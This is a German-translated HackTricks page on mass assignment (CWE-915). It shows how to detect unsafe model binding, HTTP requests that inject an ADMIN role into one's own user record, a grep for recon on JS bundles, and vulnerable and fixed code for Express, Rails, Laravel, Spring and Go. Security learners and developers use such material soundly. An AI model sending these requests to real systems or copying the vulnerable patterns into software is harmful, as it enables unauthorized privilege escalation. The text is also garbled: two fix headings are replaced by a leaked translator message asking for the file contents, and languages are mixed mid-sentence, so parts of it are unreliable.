Mass Assignment (CWE-915) – Privilege Escalation via Unsafe Model Binding

Tip

Lernen & ĂŒben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & ĂŒben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & ĂŒben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

UnterstĂŒtzen Sie HackTricks

Mass assignment (a.k.a. insecure object binding) tritt auf, wenn ein API/Controller vom Benutzer gelieferte JSON-Daten entgegennimmt und sie direkt an ein serverseitiges Modell/Entity bindet, ohne eine explizite Allow-List von Feldern. Wenn privilegierte Eigenschaften wie roles, isAdmin, status oder ownership-Felder bindbar sind, kann jeder authentifizierte Benutzer Privilegien eskalieren oder geschĂŒtzten Zustand manipulieren.

Dies ist ein Broken Access Control-Problem (OWASP A01:2021), das oft vertikale Privilegieneskalation ermöglicht, z. B. durch Setzen von roles=ADMIN oder Ă€hnlichem. HĂ€ufig betroffen sind Frameworks, die automatisches Binden von Request Bodies an Datenmodelle unterstĂŒtzen (Rails, Laravel/Eloquent, Django ORM, Spring/Jackson, Express/Mongoose, Sequelize, Go structs, etc.).

1) Finding Mass Assignment

Suche nach Self-Service-Endpunkten, die das eigene Profil oder Àhnliche Ressourcen aktualisieren:

  • PUT/PATCH /api/users/{id}
  • PATCH /me, PUT /profile
  • PUT /api/orders/{id}

Heuristiken, die auf Mass Assignment hinweisen:

  • Die Antwort spiegelt serververwaltete Felder wider (z. B. roles, status, isAdmin, permissions), auch wenn du sie nicht gesendet hast.
  • Client-Bundles enthalten Rollen-Namen/IDs oder andere privilegierte Attributnamen, die in der App verwendet werden (admin, staff, moderator, internal flags) und auf ein bindbares Schema hinweisen.
  • Backend-Serializer akzeptieren unbekannte Felder, ohne sie abzulehnen.

Schneller Testablauf:

  1. Perform a normal update with only safe fields and observe the full JSON response structure (this leaks the schema).
  2. Wiederhole das Update und fĂŒge ein manipuliertes privilegiertes Feld in den Body ein. Wenn die Antwort die Änderung beibehĂ€lt, hast du wahrscheinlich Mass Assignment.

Example baseline update revealing schema:

PUT /api/users/12934 HTTP/1.1
Host: target.example
Content-Type: application/json

{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry"
}

Antwort deutet auf privilegierte Felder hin:

HTTP/1.1 200 OK
Content-Type: application/json

{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry",
"roles": null,
"status": "ACTIVATED",
"filters": []
}

2) Ausnutzung – Rollen-Eskalation via Mass Assignment

Sobald Sie die bindbare Struktur kennen, fĂŒgen Sie die privilegierte Eigenschaft in derselben Anfrage hinzu.

Beispiel: Setzen Sie roles auf ADMIN in Ihrer eigenen Benutzerressource:

PUT /api/users/12934 HTTP/1.1
Host: target.example
Content-Type: application/json

{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry",
"roles": [
{ "id": 1, "description": "ADMIN role", "name": "ADMIN" }
]
}

Wenn die Response die RollenÀnderung beibehÀlt, re-authenticate oder tokens/claims refreshen, damit die App eine admin-context session ausstellt und privilegierte UI/endpoints anzeigt.

Hinweise

  • Role identifiers und Shapes werden hĂ€ufig aus dem client JS bundle oder den API docs enumeriert. Suche nach Strings wie “roles”, “ADMIN”, “STAFF” oder numerischen role IDs.
  • Wenn tokens claims enthalten (z. B. JWT roles), ist in der Regel ein logout/login oder ein token refresh erforderlich, um die neuen Privilegien wirksam werden zu lassen.

3) Client Bundle Recon fĂŒr Schema und Role IDs

  • Inspect minified JS bundles for role strings and model names; source maps may reveal DTO shapes.
  • Suche nach arrays/maps von roles, permissions oder feature flags. Erstelle payloads, die genau den property names und der Nesting-Struktur entsprechen.
  • Typische Indikatoren: role name constants, dropdown option lists, validation schemas.

Handy greps gegen ein heruntergeladenes Bundle:

strings app.*.js | grep -iE "role|admin|isAdmin|permission|status" | sort -u

4) Framework-Fallstricke und sichere Muster

Die Schwachstelle entsteht, wenn Frameworks req.body direkt an persistente EntitĂ€ten binden. Nachfolgend sind hĂ€ufige Fehler und minimale, sichere Muster aufgefĂŒhrt.

Node.js (Express + Mongoose)

AnfÀllig:

// Any field in req.body (including roles/isAdmin) is persisted
app.put('/api/users/:id', async (req, res) => {
const user = await User.findByIdAndUpdate(req.params.id, req.body, { new: true });
res.json(user);
});

Bitte fĂŒge den Inhalt der Datei src/pentesting-web/mass-assignment-cwe-915.md oder den zu ĂŒbersetzenden Markdown-Text ein. Ich ĂŒbersetze den englischen Text ins Deutsche und lasse dabei Code, Tags, Links, Pfade sowie Hack-/Cloud-Begriffe unverĂ€ndert.

// Strict allow-list and explicit authZ for role-changing
app.put('/api/users/:id', async (req, res) => {
const allowed = (({ firstName, lastName, nickName }) => ({ firstName, lastName, nickName }))(req.body);
const user = await User.findOneAndUpdate({ _id: req.params.id, owner: req.user.id }, allowed, { new: true });
res.json(user);
});
// Implement a separate admin-only endpoint for role updates with server-side RBAC checks.

Ruby on Rails

AnfÀllig (keine strong parameters):

def update
@user.update(params[:user]) # roles/is_admin can be set by client
end

Behebung (strong params + keine privilegierten Felder):

def user_params
params.require(:user).permit(:first_name, :last_name, :nick_name)
end

Laravel (Eloquent)

AnfÀllig:

protected $guarded = []; // Everything mass-assignable (bad)

Bitte fĂŒge den Inhalt der Datei src/pentesting-web/mass-assignment-cwe-915.md hier ein oder gib an, welchen Abschnitt ich ĂŒbersetzen/fixen soll. Ich ĂŒbersetze ins Deutsche und behalte Markdown, Code, Links, Tags und Pfade unverĂ€ndert, gemĂ€ĂŸ deinen Vorgaben.

protected $fillable = ['first_name','last_name','nick_name']; // No roles/is_admin

Spring Boot (Jackson)

AnfÀlliges Muster:

// Directly binding to entity and persisting it
public User update(@PathVariable Long id, @RequestBody User u) { return repo.save(u); }

Auf ein DTO mit nur erlaubten Feldern abbilden und Autorisierung erzwingen:

record UserUpdateDTO(String firstName, String lastName, String nickName) {}

Kopiere dann serverseitig nur die erlaubten Felder vom DTO in die Entity und behandle RollenĂ€nderungen nur in admin-exklusiven Handlern nach RBAC-PrĂŒfungen. Verwende @JsonIgnore fĂŒr privilegierte Felder, falls nötig, und lehne unbekannte Eigenschaften ab.

Go (encoding/json)

  • Stelle sicher, dass privilegierte Felder json:“-” verwenden und validiere mit einem DTO-Struct, das nur erlaubte Felder enthĂ€lt.
  • ErwĂ€ge decoder.DisallowUnknownFields() und eine Validierung der Invarianten nach dem Binden (Rollen dĂŒrfen sich in Self-Service-Routen nicht Ă€ndern).

Quellen

Tip

Lernen & ĂŒben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & ĂŒben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & ĂŒben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

UnterstĂŒtzen Sie HackTricks